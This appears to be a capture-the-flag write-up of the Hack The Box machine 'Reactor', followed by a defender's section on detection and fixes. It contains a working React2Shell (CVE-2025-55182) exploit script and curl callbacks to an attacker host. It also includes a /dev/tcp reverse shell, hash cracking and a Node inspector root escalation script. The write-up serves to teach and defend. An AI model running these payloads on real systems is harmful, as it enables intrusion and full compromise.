Reactor
Executive summary — Reactor is a very current Easy Linux box. Port 3000 serves a Next.js dashboard («ReactorWatch») that speaks the RSC protocol (React Server Components). It is vulnerable to React2Shell (CVE-2025-55182), which abuses the RSC Flight protocol parser for RCE as
node. In/opt/reactor-appa SQLite database holds unsalted MD5 hashes; one cracks to a password reused over SSH byengineer. Root comes from a Node.js process running as root with--inspecton localhost: its debugger protocol evaluates arbitrary JavaScript. Path: Next.js React2Shell -> node -> SQLite -> SSH -> Node inspector -> root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[3000] Next.js app (ReactorWatch) -> RSC protocol (text/x-component)
| React2Shell CVE-2025-55182 (RSC Flight) -> RCE
v
[node] /opt/reactor-app: .env + reactor.db (SQLite) -> MD5 user hashes
| john (Raw-MD5) -> password reuse over SSH
v
[engineer] (user.txt) -> ps aux: root node --inspect=127.0.0.1:9229
| Chrome DevTools Protocol -> Runtime.evaluate as root
v
[ROOT] SUID bash -> root.txt
1. Reconnaissance
A full TCP scan shows only two services:
sudo nmap -sV -sC -Pn -p- <TARGET_IP> --min-rate 5000
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
3000/tcp open http Next.js
With SSH being a dead end without credentials, the initial vector almost certainly lives in the web application on port 3000.
2. Web enumeration
The site is a monitoring panel titled ReactorWatch | Core Monitoring System. It looks like a static dashboard: no login, no forms, no buttons and no visible API routes. Classic enumeration finds nothing useful (no /admin, /login, /api or interesting vhosts), so instead of hunting for routes we look at how the framework itself talks to the browser.
Next.js apps built on the App Router answer requests carrying the RSC header with a serialised component tree. We check whether the server does:
curl -i -H 'RSC: 1' http://<TARGET_IP>:3000/
HTTP/1.1 200 OK
Content-Type: text/x-component
Why this matters:
text/x-componentmeans the app is using React Server Components and is exposing responses in the React Flight format. A server that parses Flight payloads from the client is exactly the attack surface React2Shell targets, even when the page itself has no input fields.
3. Foothold — React2Shell (CVE-2025-55182)
CVE-2025-55182 (React2Shell) is a flaw in how React Server Components deserialise Flight data sent to a Server Action endpoint. A crafted multipart body makes the parser resolve references into the Function constructor, so attacker-controlled text ends up being executed on the server. We start from the public original PoC:
git clone https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc.git
cd React2Shell-CVE-2025-55182-original-poc
npm install form-data
Based on that PoC we build a small, clean exploit. The payload is a set of Flight chunks sent as multipart fields with a next-action header; the _prefix field holds the JavaScript that will run (a harmless console.log as a placeholder):
const FormDataLib = require('form-data')
const payload = {
'0': '$1',
'1': {
'status': 'resolved_model',
'reason': 0,
'_response': '$4',
'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
'then': '$2:then'
},
'2': '$@3',
'3': [],
'4': {
'_prefix': 'console.log(7*7+1)//',
'_formData': { 'get': '$3:constructor:constructor' },
'_chunks': '$2:_response:_chunks',
}
}
const fd = new FormDataLib()
for (const key in payload) fd.append(key, JSON.stringify(payload[key]))
async function main() {
const res = await fetch('http://<TARGET_IP>:3000/', {
method: 'POST',
headers: { 'next-action': 'x', ...fd.getHeaders() },
body: fd.getBuffer()
})
console.log('STATUS:', res.status)
console.log((await res.text()).slice(0, 1000))
}
main().catch(console.error)
We save it as exploit_clean.js. Before going for a shell we confirm blind execution with an out-of-band callback: a simple HTTP server on our machine, and a payload that replaces the placeholder with a curl back to us:
python3 -m http.server 8000
perl -0777 -pe 's#console\.log\(7\*7\+1\)//#process.mainModule.require("child_process").exec("curl http://<ATTACKER_IP>:8000/pwned")//#g' exploit_clean.js | node
<TARGET_IP> - - "GET /pwned HTTP/1.1" 404 -
The 404 is irrelevant: what matters is that the request came from the target. RCE confirmed.
For the shell we host a tiny script and pipe it to bash on the target, with a listener waiting:
cat > s.sh <<'EOF'
#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
EOF
python3 -m http.server 8000
nc -lvnp 4444
perl -0777 -pe 's#console\.log\(7\*7\+1\)//#process.mainModule.require("child_process").exec("curl http://<ATTACKER_IP>:8000/s.sh|bash")//#g' exploit_clean.js | node
connect to [<ATTACKER_IP>] from <TARGET_IP>
node@reactor:/opt/reactor-app$
After the usual TTY upgrade (python3 -c 'import pty; pty.spawn("/bin/bash")', stty raw -echo; fg, export TERM=xterm) we check the context:
node
reactor
uid=999(node) gid=988(node)
/opt/reactor-app
4. Lateral movement — SQLite reactor.db
The shell lands in the application directory, which is the first place to look for secrets:
ls -la
.env
reactor.db
package.json
next.config.js
cat .env
DB_PATH=/opt/reactor-app/reactor.db
DB_TYPE=sqlite3
SENSOR_API_KEY=rw_sk_...
ALERT_WEBHOOK=https://alerts.internal.reactor.htb/webhook
NODE_ENV=production
The .env confirms the database location. We enumerate it directly with sqlite3:
sqlite3 reactor.db ".tables"
sqlite3 reactor.db ".schema users"
sqlite3 reactor.db "select username,password_hash,role from users;"
sensor_logs users
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
);
admin|a203b22191d744a4e70ada5c101b17b8|administrator
engineer|39d97110eafe2a9a68639812cd271e8e|operator
32 hex characters with no salt or prefix: these look like raw MD5. We crack them offline with John:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes.txt
john --show --format=Raw-MD5 hashes.txt
reactor1
The engineer hash falls to reactor1. Application users and system users often share names, so we try the password over SSH:
ssh engineer@<TARGET_IP>
engineer@reactor
cat /home/engineer/user.txt
User flag obtained.
5. Privilege escalation — Node.js inspector running as root
sudo is not an option:
sudo -l
Sorry, user engineer may not run sudo on reactor.
So we look at what runs as root. Filtering the process list for Node is natural on a Node-based box:
ps aux | grep node
root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Why this is critical:
--inspectenables the Node.js inspector, which speaks the Chrome DevTools Protocol over a WebSocket. Anyone who can connect to that port can evaluate arbitrary JavaScript inside the process. Binding it to127.0.0.1keeps it away from the network, but not from local users such asengineer, and the process runs as root.
The inspector publishes its WebSocket URL on a plain HTTP endpoint:
curl http://127.0.0.1:9229/json
[
{
"description": "node.js instance",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/06ad2837-4064-4697-903d-3183ba0f41dd"
}
]
The box has no websocat, so we speak WebSocket by hand from Python: an HTTP upgrade handshake, then one masked text frame carrying a Runtime.evaluate call that runs id through child_process:
import socket, base64, os, json, struct
host, port = "127.0.0.1", 9229
path = "/06ad2837-4064-4697-903d-3183ba0f41dd"
key = base64.b64encode(os.urandom(16)).decode()
s = socket.socket()
s.connect((host, port))
s.send((f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n").encode())
s.recv(4096)
payload = json.dumps({"id": 1, "method": "Runtime.evaluate", "params": {
"expression": 'process.mainModule.require("child_process").execSync("id").toString()'
}}).encode()
mask = os.urandom(4)
header = bytearray([0x81])
l = len(payload)
if l < 126:
header.append(0x80 | l)
else:
header.append(0x80 | 126); header += struct.pack(">H", l)
s.send(header + mask + bytes(b ^ mask[i % 4] for i, b in enumerate(payload)))
print(s.recv(8192).decode(errors="ignore"))
s.close()
uid=0(root) gid=0(root) groups=0(root)
Code execution as root. For an interactive shell we send the same frame with a different expression, one that copies bash and sets the SUID bit (the final one-liner also reads the debugger URL from /json automatically, since the UUID changes when the process restarts):
process.mainModule.require("child_process").execSync("cp /bin/bash /tmp/rootbash && chmod 4755 /tmp/rootbash")
ls -l /tmp/rootbash
/tmp/rootbash -p
-rwsr-xr-x 1 root root ... /tmp/rootbash
rootbash-5.2# id
uid=1000(engineer) euid=0(root)
The real UID stays engineer but the effective UID is root, which is all we need to read /root/root.txt. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold | Next.js (RSC / React Flight) | React2Shell CVE-2025-55182 — unsafe deserialisation of Flight data | RCE as node |
| Lateral | reactor.db (SQLite) | Unsalted MD5 password hashes readable by the app user | Password reactor1 cracked |
| Lateral | SSH | Application password reused by system user engineer | Shell as engineer (user.txt) |
| PrivEsc | Node.js worker.js (root) | Inspector enabled (--inspect=127.0.0.1:9229) on a root process | Arbitrary JavaScript as root → SUID bash |
Defender's view
Reactor pairs a brand-new framework bug with an old operational mistake. Both are detectable, and both have simple fixes.
React2Shell RCE (CVE-2025-55182)
How it shows up in logs / telemetry
- Web/proxy logs show a
POST /with anext-actionheader and a multipart body against an app that has no Server Actions in its UI; payloads referencingconstructororchild_processare easy WAF/IDS matches. - Process telemetry (auditd
execve, EDR) shows thenodeservice spawningsh,curlorbash, followed by an outbound connection: a Next.js server should never do that.
How to fix it
- Upgrade React and Next.js to releases that fix CVE-2025-55182, and rebuild the app so the patched packages actually ship.
- Run the app as an unprivileged user with read-only code, restricted egress and no secrets beyond what it needs.
Unsalted MD5 hashes and password reuse
How it shows up in logs / telemetry
auth.logshowsAccepted password for engineerfrom an address that, minutes earlier, was talking to the web app; correlating web and SSH sources catches the pivot.
How to fix it
- Store passwords with a slow, salted algorithm (bcrypt or Argon2), keep application and system credentials separate, and prefer SSH keys with password authentication disabled.
Node.js inspector on a root process
How it shows up in logs / telemetry
- Process inventory flags any
node --inspector--inspect-brkin production; a listener on port 9229 is just as visible inss -tlnpbaselines. - auditd/EDR shows the root
worker.jsprocess spawningcp/chmod, and file integrity monitoring catches a new SUID binary in/tmp.
How to fix it
- Remove
--inspectfrom production service definitions and runworker.jsas a dedicated non-root user. - Mount
/tmpwithnosuidand alert on any new SUID file.
Lessons learned
- Modern frameworks widen the attack surface: the app had no login, no forms and no visible API, yet the RSC protocol itself was the way in. Check special headers, Server Actions and framework-internal protocols, not just routes.
- Patch the framework: CVE-2025-55182 turns any reachable RSC endpoint into RCE; keep React/Next.js on fixed releases.
- Local databases are still critical: once inside as
node, a SQLite file with unsalted MD5 handed over reusable credentials. Use a slow, salted hash and keep app and system passwords separate. - Never run a debugger in production:
--inspecton a root process is root for every local user, even when bound to127.0.0.1. - Look at what runs as root: when
sudo -lis empty,ps auxoften tells you the rest of the story.